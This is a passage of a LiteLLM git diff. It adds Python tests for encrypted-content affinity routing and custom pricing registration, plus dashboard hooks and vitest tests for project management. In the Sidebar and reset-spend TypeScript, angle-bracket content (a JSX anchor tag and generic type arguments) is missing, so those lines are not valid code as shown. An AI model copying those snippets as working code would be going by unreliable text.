is not None + assert response2.id is not None + + +@pytest.mark.asyncio +async def test_encrypted_content_affinity_bypasses_rpm_limits(): + """ + When encrypted content affinity pins to a deployment, the request + goes through even if normal routing would avoid it. + """ + mock_response_data = { + "id": "resp_mock-rpm-test", + "object": "response", + "created_at": 1741476542, + "status": "completed", + "model": "openai/gpt-5.1-codex", + "output": [ + { + "type": "reasoning", + "id": "rs_encrypted_must_pin", + "status": "completed", + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG...", + }, + ], + "usage": {"input_tokens": 5, "output_tokens": 10, "total_tokens": 15}, + "error": None, + } + + router = litellm.Router( + model_list=[ + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-1", + }, + "model_info": {"id": "deployment-alpha"}, + }, + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-2", + }, + "model_info": {"id": "deployment-beta"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], + routing_strategy="usage-based-routing-v2", + ) + + selected_deployments = [] + + def deterministic_choice(seq): + if len(selected_deployments) == 0: + return seq[0] + return seq[1] if len(seq) > 1 else seq[0] + + with patch( + "litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post", + new_callable=AsyncMock, + ) as mock_post, patch( + "litellm.router_strategy.simple_shuffle.random.choice", + side_effect=deterministic_choice, + ): + mock_post.return_value = MockResponse(mock_response_data, 200) + + first_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input="Initial request", + ) + first_model_id = first_response._hidden_params["model_id"] + selected_deployments.append(first_model_id) + + # Extract encoded item ID from the first response output + encoded_item_id = _extract_encoded_item_id(first_response) + assert encoded_item_id.startswith("encitem_"), ( + f"Expected encitem_... but got {encoded_item_id!r}" + ) + + # Follow-up with the encoded item ID — should pin to same deployment + second_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input=[ + { + "type": "reasoning", + "id": encoded_item_id, + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG...", + }, + ], + ) + second_model_id = second_response._hidden_params["model_id"] + + assert second_model_id == first_model_id + + +@pytest.mark.asyncio +async def test_encrypted_content_affinity_no_match_normal_routing(): + """ + Input items with non-encoded IDs (no encitem_ prefix) fall through to + normal load balancing. + """ + mock_response_data = { + "id": "resp_mock-no-match", + "object": "response", + "created_at": 1741476542, + "status": "completed", + "model": "openai/gpt-5.1-codex", + "output": [ + { + "type": "message", + "id": "msg_new", + "status": "completed", + "role": "assistant", + "content": [{"type": "output_text", "text": "Response"}], + }, + ], + "usage": {"input_tokens": 5, "output_tokens": 10, "total_tokens": 15}, + "error": None, + } + + router = litellm.Router( + model_list=[ + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-1", + }, + "model_info": {"id": "deployment-a"}, + }, + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-2", + }, + "model_info": {"id": "deployment-b"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], + ) + + with patch( + "litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post", + new_callable=AsyncMock, + ) as mock_post: + mock_post.return_value = MockResponse(mock_response_data, 200) + + # Non-encoded item ID — no affinity should kick in + response = await router.aresponses( + model="openai.gpt-5.1-codex", + input=[ + {"type": "message", "id": "unknown_item_id_12345"}, + ], + ) + assert response.id is not None + + +@pytest.mark.asyncio +async def test_encrypted_content_affinity_with_wrapped_content_no_id(): + """ + Test affinity routing when items have wrapped encrypted_content but no ID. + This simulates Codex client behavior where IDs are omitted. + """ + mock_response_data = { + "id": "resp_mock-wrapped-content", + "object": "response", + "created_at": 1741476542, + "status": "completed", + "model": "openai/gpt-5.1-codex", + "output": [ + { + "type": "reasoning", + "status": "completed", + "encrypted_content": "gAAAAABpnW_yEYmSNEyOG_original_content", + }, + ], + "usage": {"input_tokens": 5, "output_tokens": 10, "total_tokens": 15}, + "error": None, + } + + router = litellm.Router( + model_list=[ + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-1", + }, + "model_info": {"id": "deployment-1"}, + }, + { + "model_name": "openai.gpt-5.1-codex", + "litellm_params": { + "model": "openai/gpt-5.1-codex", + "api_key": "mock-api-key-2", + }, + "model_info": {"id": "deployment-2"}, + }, + ], + optional_pre_call_checks=["encrypted_content_affinity"], + ) + + selected_deployments = [] + + def deterministic_choice(seq): + if len(selected_deployments) == 0: + return seq[0] + return seq[1] if len(seq) > 1 else seq[0] + + with patch( + "litellm.llms.custom_httpx.http_handler.AsyncHTTPHandler.post", + new_callable=AsyncMock, + ) as mock_post, patch( + "litellm.router_strategy.simple_shuffle.random.choice", + side_effect=deterministic_choice, + ): + mock_post.return_value = MockResponse(mock_response_data, 200) + + # First request — goes to deployment-1 + first_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input="Hello, how are you?", + ) + first_model_id = first_response._hidden_params["model_id"] + selected_deployments.append(first_model_id) + + # Extract wrapped encrypted_content from first response + first_item = first_response.output[0] + wrapped_content = ( + first_item.encrypted_content + if hasattr(first_item, "encrypted_content") + else first_item.get("encrypted_content") + ) + assert wrapped_content.startswith("litellm_enc:"), ( + f"Expected wrapped content but got {wrapped_content[:50]}..." + ) + + # Verify we can extract model_id from wrapped content + extracted_model_id, _ = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id( + wrapped_content + ) + ) + assert extracted_model_id == first_model_id + + # Second request: use wrapped encrypted_content WITHOUT an ID (Codex behavior) + second_response = await router.aresponses( + model="openai.gpt-5.1-codex", + input=[ + { + "type": "reasoning", + "encrypted_content": wrapped_content, + }, + ], + ) + second_model_id = second_response._hidden_params["model_id"] + + assert second_model_id == first_model_id, ( + f"Expected affinity to route to {first_model_id}, but got {second_model_id}" + ) + + +def test_encrypted_content_wrapping_preserves_original_content(): + """ + Test that wrapping and unwrapping encrypted_content preserves the original content. + This is critical for streaming responses where content must round-trip correctly. + """ + model_id = "test-deployment-1" + original_encrypted_content = "gAAAAABpnW_yEYmSNEyOG_streaming_test_content_with_special_chars==+/" + + wrapped = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + original_encrypted_content, model_id + ) + + assert wrapped.startswith("litellm_enc:") + assert wrapped != original_encrypted_content + + extracted_model_id, unwrapped_content = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id(wrapped) + ) + + assert extracted_model_id == model_id + assert unwrapped_content == original_encrypted_content + + +def test_encrypted_content_wrapping_with_multiple_semicolons(): + """ + Test that encrypted_content containing semicolons is handled correctly. + """ + model_id = "deployment-with-semicolons" + original_content = "gAAAAAB;some;content;with;semicolons" + + wrapped = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + original_content, model_id + ) + + extracted_model_id, unwrapped = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id(wrapped) + ) + + assert extracted_model_id == model_id + assert unwrapped == original_content + + +def test_encrypted_content_wrapping_empty_string(): + """ + Test that empty encrypted_content is handled gracefully. + """ + model_id = "test-deployment" + original_content = "" + + wrapped = ResponsesAPIRequestUtils._wrap_encrypted_content_with_model_id( + original_content, model_id + ) + + assert wrapped.startswith("litellm_enc:") + + extracted_model_id, unwrapped = ( + ResponsesAPIRequestUtils._unwrap_encrypted_content_with_model_id(wrapped) + ) + + assert extracted_model_id == model_id + assert unwrapped == original_content diff --git a/tests/test_litellm/test_register_model_custom_pricing.py b/tests/test_litellm/test_register_model_custom_pricing.py new file mode 100644 index 00000000000..1efd698fb64 --- /dev/null +++ b/tests/test_litellm/test_register_model_custom_pricing.py @@ -0,0 +1,192 @@ +""" +Test that register_model() in completion() and embedding() passes all +custom pricing fields from kwargs and model_info, not just the base +input/output costs. + +Previously, only input_cost_per_token, output_cost_per_token, and +litellm_provider were forwarded. Fields like cache_read_input_token_cost, +mode, and supports_prompt_caching were dropped, causing incorrect cost +calculations for DB-sourced models with prompt caching pricing. +""" + +import os +import sys + +sys.path.insert( + 0, os.path.abspath("../..") +) # Adds the parent directory to the system path + +import litellm +from litellm.main import _build_custom_pricing_entry + + +def test_build_custom_pricing_entry_includes_all_kwargs_fields(): + """All CustomPricingLiteLLMParams fields present in kwargs should be + included in the resulting entry dict.""" + kwargs = { + "input_cost_per_token": 0.001, + "output_cost_per_token": 0.002, + "cache_read_input_token_cost": 0.00025, + "cache_creation_input_token_cost": 0.005, + "output_cost_per_reasoning_token": 0.01, + "input_cost_per_audio_token": 0.003, + "unrelated_kwarg": "should_be_ignored", + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + ) + + assert entry["litellm_provider"] == "openai" + assert entry["input_cost_per_token"] == 0.001 + assert entry["output_cost_per_token"] == 0.002 + assert entry["cache_read_input_token_cost"] == 0.00025 + assert entry["cache_creation_input_token_cost"] == 0.005 + assert entry["output_cost_per_reasoning_token"] == 0.01 + assert entry["input_cost_per_audio_token"] == 0.003 + assert "unrelated_kwarg" not in entry + + +def test_build_custom_pricing_entry_merges_model_info_metadata(): + """Fields from model_info (mode, supports_prompt_caching, max_tokens) + should be merged into the entry when present.""" + kwargs = { + "input_cost_per_token": 0.001, + "output_cost_per_token": 0.002, + } + model_info = { + "id": "deployment-123", + "mode": "chat", + "supports_prompt_caching": True, + "max_tokens": 128000, + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + model_info=model_info, + ) + + assert entry["mode"] == "chat" + assert entry["supports_prompt_caching"] is True + assert entry["max_tokens"] == 128000 + + +def test_build_custom_pricing_entry_setdefault_does_not_override_existing(): + """model_info uses setdefault, so it should not override a key that is + already present in the entry dict. Currently CustomPricingLiteLLMParams + and the model_info keys (mode, supports_prompt_caching, max_tokens) do + not overlap, but if they ever do, setdefault ensures the kwargs-sourced + value wins.""" + kwargs = { + "input_cost_per_token": 0.001, + "output_cost_per_token": 0.002, + } + model_info = { + "mode": "chat", + "supports_prompt_caching": True, + "max_tokens": 128000, + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + model_info=model_info, + ) + + assert entry["mode"] == "chat" + assert entry["supports_prompt_caching"] is True + assert entry["max_tokens"] == 128000 + + # Verify setdefault behavior: if a model_info key already exists in + # the entry (e.g. from a future CustomPricingLiteLLMParams addition), + # setdefault must not overwrite it. + entry["mode"] = "embedding" # simulate pre-existing value + # Re-apply setdefault the same way _build_custom_pricing_entry does + entry.setdefault("mode", model_info["mode"]) + assert entry["mode"] == "embedding" # must NOT revert to "chat" + + +def test_build_custom_pricing_entry_skips_none_values(): + """Fields with None values in kwargs should not be included.""" + kwargs = { + "input_cost_per_token": 0.001, + "output_cost_per_token": None, # explicitly None + "cache_read_input_token_cost": None, + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + ) + + assert entry["input_cost_per_token"] == 0.001 + assert "output_cost_per_token" not in entry + assert "cache_read_input_token_cost" not in entry + + +def test_build_custom_pricing_entry_handles_no_model_info(): + """Should work correctly when model_info is None.""" + kwargs = { + "input_cost_per_token": 0.001, + "output_cost_per_token": 0.002, + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + model_info=None, + ) + + assert entry["litellm_provider"] == "openai" + assert entry["input_cost_per_token"] == 0.001 + assert entry["output_cost_per_token"] == 0.002 + assert "mode" not in entry + + +def test_register_model_receives_cache_pricing_fields(): + """End-to-end: when register_model is called with a full pricing entry, + the cache pricing fields should be present in litellm.model_cost.""" + model_key = "openai/test-custom-model-with-cache-pricing" + + litellm.register_model( + { + model_key: { + "input_cost_per_token": 0.001, + "output_cost_per_token": 0.002, + "cache_read_input_token_cost": 0.00025, + "supports_prompt_caching": True, + "mode": "chat", + "max_tokens": 8192, + "litellm_provider": "openai", + } + } + ) + + registered = litellm.model_cost.get(model_key) + assert registered is not None, f"{model_key} should be in model_cost" + assert registered["cache_read_input_token_cost"] == 0.00025 + assert registered["supports_prompt_caching"] is True + assert registered["mode"] == "chat" + assert registered["max_tokens"] == 8192 + + # Cleanup + litellm.model_cost.pop(model_key, None) + + +def test_build_custom_pricing_entry_time_based(): + """Time-based pricing fields should be included correctly.""" + kwargs = { + "input_cost_per_second": 0.01, + "output_cost_per_second": 0.02, + } + + entry = _build_custom_pricing_entry( + custom_llm_provider="openai", + kwargs=kwargs, + ) + + assert entry["litellm_provider"] == "openai" + assert entry["input_cost_per_second"] == 0.01 + assert entry["output_cost_per_second"] == 0.02 diff --git a/tests/test_litellm/test_utils.py b/tests/test_litellm/test_utils.py index 7f0b3b5b501..4a92c7e7fdf 100644 --- a/tests/test_litellm/test_utils.py +++ b/tests/test_litellm/test_utils.py @@ -96,6 +96,19 @@ def test_supports_function_calling_github_anthropic_alias(): ) +def test_supports_function_calling_deepinfra_llama(): + """Test that deepinfra Llama models correctly report function calling support. + + Regression test for https://github.com/BerriAI/litellm/issues/22619 + """ + assert ( + litellm.utils.supports_function_calling( + model="deepinfra/meta-llama/Llama-3.3-70B-Instruct-Turbo" + ) + is True + ) + + def test_supports_function_calling_unknown_github_alias_returns_false(): assert ( litellm.utils.supports_function_calling( @@ -1139,20 +1152,25 @@ def test_pre_process_non_default_params(model, custom_llm_provider): provider_config=provider_config, ) print(processed_non_default_params) + # Vertex AI / Gemini uses Pydantic's model_json_schema() which doesn't + # include additionalProperties: False (Gemini rejects it). Other + # providers use OpenAI's to_strict_json_schema() which does. + expected_schema = { + "properties": { + "x": {"title": "X", "type": "string"}, + "y": {"title": "Y", "type": "string"}, + }, + "required": ["x", "y"], + "title": "ResponseFormat", + "type": "object", + } + if custom_llm_provider not in ("vertex_ai", "vertex_ai_beta", "gemini"): + expected_schema["additionalProperties"] = False assert processed_non_default_params == { "response_format": { "type": "json_schema", "json_schema": { - "schema": { - "properties": { - "x": {"title": "X", "type": "string"}, - "y": {"title": "Y", "type": "string"}, - }, - "required": ["x", "y"], - "title": "ResponseFormat", - "type": "object", - "additionalProperties": False, - }, + "schema": expected_schema, "name": "ResponseFormat", "strict": True, }, diff --git a/tests/test_litellm/types/test_types_utils.py b/tests/test_litellm/types/test_types_utils.py index 70344950d3e..8c20ace98a0 100644 --- a/tests/test_litellm/types/test_types_utils.py +++ b/tests/test_litellm/types/test_types_utils.py @@ -120,7 +120,8 @@ def test_usage_completion_tokens_details_text_tokens(): 'reasoning_tokens': 65, 'rejected_prediction_tokens': None, 'text_tokens': 12, - 'image_tokens': None + 'image_tokens': None, + 'video_tokens': None } assert dump_result['completion_tokens_details'] == expected_completion_details diff --git a/ui/litellm-dashboard/src/app/(dashboard)/components/Sidebar2.tsx b/ui/litellm-dashboard/src/app/(dashboard)/components/Sidebar2.tsx index a74d3c108d6..b3829d0a8f4 100644 --- a/ui/litellm-dashboard/src/app/(dashboard)/components/Sidebar2.tsx +++ b/ui/litellm-dashboard/src/app/(dashboard)/components/Sidebar2.tsx @@ -374,6 +374,27 @@ const Sidebar2: React.FC = ({ accessToken, userRole, defaultSelect router.push(href); }; + // Wrap label in so every nav item supports right-click → "Open in new tab" + // and Ctrl/Cmd+click to open in a new tab, while preserving SPA navigation for normal clicks. + const renderNavLink = (label: string, page: string): React.ReactNode => { + const href = toHref(page); + return ( + { + if (e.metaKey || e.ctrlKey || e.shiftKey || e.button === 1) { + e.stopPropagation(); + return; + } + e.preventDefault(); + }} + style={{ color: "inherit", textDecoration: "none" }} + > + {label} + + ); + }; + return ( = ({ accessToken, userRole, defaultSelect items={filteredMenuItems.map((item) => ({ key: item.key, icon: item.icon, - label: item.label, + label: renderNavLink(item.label, item.page), children: item.children?.map((child) => ({ key: child.key, icon: child.icon, - label: child.label, + label: renderNavLink(child.label, child.page), onClick: () => goTo(child.page), })), onClick: !item.children ? () => goTo(item.page) : undefined, diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/keys/useResetKeySpend.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/keys/useResetKeySpend.ts new file mode 100644 index 00000000000..a845fc5881a --- /dev/null +++ b/ui/litellm-dashboard/src/app/(dashboard)/hooks/keys/useResetKeySpend.ts @@ -0,0 +1,66 @@ +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import { + getProxyBaseUrl, + getGlobalLitellmHeaderName, + deriveErrorMessage, + handleError, +} from "@/components/networking"; +import useAuthorized from "@/app/(dashboard)/hooks/useAuthorized"; +import { keyKeys } from "./useKeys"; + +// ── Types ───────────────────────────────────────────────────────────────────── + +export interface ResetKeySpendResponse { + key_hash: string; + spend: number; + previous_spend: number; + max_budget: number | null; + budget_reset_at: string | null; +} + +// ── Fetch function ──────────────────────────────────────────────────────────── + +export const resetKeySpend = async ( + accessToken: string, + keyToken: string, +): Promise => { + const baseUrl = getProxyBaseUrl(); + const url = `${baseUrl ? `${baseUrl}/key/${keyToken}/reset_spend` : `/key/${keyToken}/reset_spend`}`; + + const response = await fetch(url, { + method: "POST", + headers: { + [getGlobalLitellmHeaderName()]: `Bearer ${accessToken}`, + "Content-Type": "application/json", + }, + body: JSON.stringify({ reset_to: 0 }), + }); + + if (!response.ok) { + const errorData = await response.json(); + const errorMessage = deriveErrorMessage(errorData); + handleError(errorMessage); + throw new Error(errorMessage); + } + + return response.json(); +}; + +// ── Hook ────────────────────────────────────────────────────────────────────── + +export const useResetKeySpend = () => { + const { accessToken } = useAuthorized(); + const queryClient = useQueryClient(); + + return useMutation({ + mutationFn: async (keyToken) => { + if (!accessToken) { + throw new Error("Access token is required"); + } + return resetKeySpend(accessToken, keyToken); + }, + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: keyKeys.all }); + }, + }); +}; diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useCreateProject.test.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useCreateProject.test.ts new file mode 100644 index 00000000000..64d950d59ee --- /dev/null +++ b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useCreateProject.test.ts @@ -0,0 +1,111 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { renderHook, waitFor } from "@testing-library/react"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import React, { ReactNode } from "react"; +import { useCreateProject, ProjectCreateParams } from "./useCreateProject"; +import { projectKeys, ProjectResponse } from "./useProjects"; + +vi.mock("@/components/networking", () => ({ + getProxyBaseUrl: vi.fn(() => ""), + getGlobalLitellmHeaderName: vi.fn(() => "Authorization"), + deriveErrorMessage: vi.fn((data: any) => data?.error || "Error"), + handleError: vi.fn(), +})); + +const mockUseAuthorized = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: () => mockUseAuthorized(), +})); + +const mockProject: ProjectResponse = { + project_id: "proj-1", + project_alias: "Test Project", + description: "A test project", + team_id: "team-1", + budget_id: null, + metadata: null, + models: ["gpt-4"], + spend: 25.0, + model_spend: null, + model_rpm_limit: null, + model_tpm_limit: null, + blocked: false, + object_permission_id: null, + created_at: "2024-01-01T00:00:00Z", + created_by: "user-1", + updated_at: "2024-01-02T00:00:00Z", + updated_by: "user-1", + litellm_budget_table: null, +}; + +function makeWrapper(queryClient: QueryClient) { + return ({ children }: { children: ReactNode }) => + React.createElement(QueryClientProvider, { client: queryClient }, children); +} + +describe("useCreateProject", () => { + let queryClient: QueryClient; + + beforeEach(() => { + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + vi.clearAllMocks(); + global.fetch = vi.fn(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Admin" }); + }); + + it("should render", () => { + const { result } = renderHook(() => useCreateProject(), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.mutate).toBeDefined(); + }); + + it("should POST to /project/new and return the created project", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + const { result } = renderHook(() => useCreateProject(), { + wrapper: makeWrapper(queryClient), + }); + const params: ProjectCreateParams = { team_id: "team-1", project_alias: "New Project" }; + const data = await result.current.mutateAsync(params); + expect(data).toEqual(mockProject); + const [url, init] = (global.fetch as any).mock.calls[0]; + expect(url).toContain("/project/new"); + expect(init.method).toBe("POST"); + expect(JSON.parse(init.body)).toMatchObject(params); + }); + + it("should invalidate project queries on success", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); + const { result } = renderHook(() => useCreateProject(), { + wrapper: makeWrapper(queryClient), + }); + await result.current.mutateAsync({ team_id: "team-1" }); + expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: projectKeys.all }); + }); + + it("should set isError when the request fails", async () => { + (global.fetch as any).mockResolvedValue({ + ok: false, + json: async () => ({ error: "Server error" }), + }); + const { result } = renderHook(() => useCreateProject(), { + wrapper: makeWrapper(queryClient), + }); + result.current.mutateAsync({ team_id: "team-1" }).catch(() => {}); + await waitFor(() => expect(result.current.isError).toBe(true)); + }); + + it("should throw when accessToken is missing", async () => { + mockUseAuthorized.mockReturnValue({ accessToken: null, userRole: "Admin" }); + const { result } = renderHook(() => useCreateProject(), { + wrapper: makeWrapper(queryClient), + }); + await expect(result.current.mutateAsync({ team_id: "team-1" })).rejects.toThrow( + "Access token is required" + ); + expect(global.fetch).not.toHaveBeenCalled(); + }); +}); diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useDeleteProject.test.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useDeleteProject.test.ts new file mode 100644 index 00000000000..85a9f3e0b10 --- /dev/null +++ b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useDeleteProject.test.ts @@ -0,0 +1,88 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { renderHook, waitFor } from "@testing-library/react"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import React, { ReactNode } from "react"; +import { useDeleteProject } from "./useDeleteProject"; +import { projectKeys } from "./useProjects"; + +vi.mock("@/components/networking", () => ({ + getProxyBaseUrl: vi.fn(() => ""), + getGlobalLitellmHeaderName: vi.fn(() => "Authorization"), + deriveErrorMessage: vi.fn((data: any) => data?.error || "Error"), + handleError: vi.fn(), +})); + +const mockUseAuthorized = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: () => mockUseAuthorized(), +})); + +function makeWrapper(queryClient: QueryClient) { + return ({ children }: { children: ReactNode }) => + React.createElement(QueryClientProvider, { client: queryClient }, children); +} + +describe("useDeleteProject", () => { + let queryClient: QueryClient; + + beforeEach(() => { + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false }, mutations: { retry: false } }, + }); + vi.clearAllMocks(); + global.fetch = vi.fn(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Admin" }); + }); + + it("should render", () => { + const { result } = renderHook(() => useDeleteProject(), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.mutate).toBeDefined(); + }); + + it("should send DELETE to /project/delete with the given project IDs", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => ({}) }); + const { result } = renderHook(() => useDeleteProject(), { + wrapper: makeWrapper(queryClient), + }); + await result.current.mutateAsync(["proj-1", "proj-2"]); + const [url, init] = (global.fetch as any).mock.calls[0]; + expect(url).toContain("/project/delete"); + expect(init.method).toBe("DELETE"); + expect(JSON.parse(init.body)).toEqual({ project_ids: ["proj-1", "proj-2"] }); + }); + + it("should invalidate project queries on success", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => ({}) }); + const invalidateSpy = vi.spyOn(queryClient, "invalidateQueries"); + const { result } = renderHook(() => useDeleteProject(), { + wrapper: makeWrapper(queryClient), + }); + await result.current.mutateAsync(["proj-1"]); + expect(invalidateSpy).toHaveBeenCalledWith({ queryKey: projectKeys.all }); + }); + + it("should set isError when the request fails", async () => { + (global.fetch as any).mockResolvedValue({ + ok: false, + json: async () => ({ error: "Not found" }), + }); + const { result } = renderHook(() => useDeleteProject(), { + wrapper: makeWrapper(queryClient), + }); + result.current.mutateAsync(["proj-1"]).catch(() => {}); + await waitFor(() => expect(result.current.isError).toBe(true)); + }); + + it("should throw when accessToken is missing", async () => { + mockUseAuthorized.mockReturnValue({ accessToken: null, userRole: "Admin" }); + const { result } = renderHook(() => useDeleteProject(), { + wrapper: makeWrapper(queryClient), + }); + await expect(result.current.mutateAsync(["proj-1"])).rejects.toThrow( + "Access token is required" + ); + expect(global.fetch).not.toHaveBeenCalled(); + }); +}); diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjectDetails.test.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjectDetails.test.ts new file mode 100644 index 00000000000..426abfe9bb6 --- /dev/null +++ b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjectDetails.test.ts @@ -0,0 +1,144 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { renderHook, waitFor } from "@testing-library/react"; +import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; +import React, { ReactNode } from "react"; +import { useProjectDetails } from "./useProjectDetails"; +import { projectKeys, ProjectResponse } from "./useProjects"; + +vi.mock("@/components/networking", () => ({ + getProxyBaseUrl: vi.fn(() => ""), + getGlobalLitellmHeaderName: vi.fn(() => "Authorization"), + deriveErrorMessage: vi.fn((data: any) => data?.error || "Error"), + handleError: vi.fn(), +})); + +const mockUseAuthorized = vi.fn(); +vi.mock("@/app/(dashboard)/hooks/useAuthorized", () => ({ + default: () => mockUseAuthorized(), +})); + +const mockProject: ProjectResponse = { + project_id: "proj-1", + project_alias: "Test Project", + description: "A test project", + team_id: "team-1", + budget_id: null, + metadata: null, + models: ["gpt-4"], + spend: 25.0, + model_spend: null, + model_rpm_limit: null, + model_tpm_limit: null, + blocked: false, + object_permission_id: null, + created_at: "2024-01-01T00:00:00Z", + created_by: "user-1", + updated_at: "2024-01-02T00:00:00Z", + updated_by: "user-1", + litellm_budget_table: null, +}; + +const mockProjects: ProjectResponse[] = [ + mockProject, + { ...mockProject, project_id: "proj-2", project_alias: "Test Project 2" }, +]; + +function makeWrapper(queryClient: QueryClient) { + return ({ children }: { children: ReactNode }) => + React.createElement(QueryClientProvider, { client: queryClient }, children); +} + +describe("useProjectDetails", () => { + let queryClient: QueryClient; + + beforeEach(() => { + queryClient = new QueryClient({ + defaultOptions: { queries: { retry: false } }, + }); + vi.clearAllMocks(); + global.fetch = vi.fn(); + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Admin" }); + }); + + it("should render", () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current).toBeDefined(); + }); + + it("should return project details when the request succeeds", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + await waitFor(() => expect(result.current.isSuccess).toBe(true)); + expect(result.current.data).toEqual(mockProject); + }); + + it("should call /project/info with the projectId encoded as a query param", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + renderHook(() => useProjectDetails("proj-1"), { wrapper: makeWrapper(queryClient) }); + await waitFor(() => expect(global.fetch).toHaveBeenCalled()); + const [url] = (global.fetch as any).mock.calls[0]; + expect(url).toContain("/project/info"); + expect(url).toContain("project_id=proj-1"); + }); + + it("should not fetch when projectId is missing", () => { + const { result } = renderHook(() => useProjectDetails(undefined), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.isFetched).toBe(false); + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it("should not fetch when accessToken is missing", () => { + mockUseAuthorized.mockReturnValue({ accessToken: null, userRole: "Admin" }); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.isFetched).toBe(false); + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it("should not fetch when userRole is not an admin role", () => { + mockUseAuthorized.mockReturnValue({ accessToken: "test-token", userRole: "Internal User" }); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.isFetched).toBe(false); + expect(global.fetch).not.toHaveBeenCalled(); + }); + + it("should seed initialData from the projects list cache", async () => { + (global.fetch as any).mockResolvedValue({ ok: true, json: async () => mockProject }); + queryClient.setQueryData(projectKeys.list({}), mockProjects); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.data).toEqual(mockProject); + expect(result.current.isLoading).toBe(false); + await waitFor(() => expect(result.current.isFetching).toBe(false)); + }); + + it("should return undefined initialData when projectId is not in the cache", () => { + queryClient.setQueryData(projectKeys.list({}), mockProjects); + const { result } = renderHook(() => useProjectDetails("non-existent"), { + wrapper: makeWrapper(queryClient), + }); + expect(result.current.data).toBeUndefined(); + }); + + it("should set isError when the request fails", async () => { + (global.fetch as any).mockResolvedValue({ + ok: false, + json: async () => ({ error: "Not found" }), + }); + const { result } = renderHook(() => useProjectDetails("proj-1"), { + wrapper: makeWrapper(queryClient), + }); + await waitFor(() => expect(result.current.isError).toBe(true)); + }); +}); diff --git a/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjects.test.ts b/ui/litellm-dashboard/src/app/(dashboard)/hooks/projects/useProjects.test.ts new file mode 100644 index 00000000000..13b9107bdc1 --- /dev/null +++ 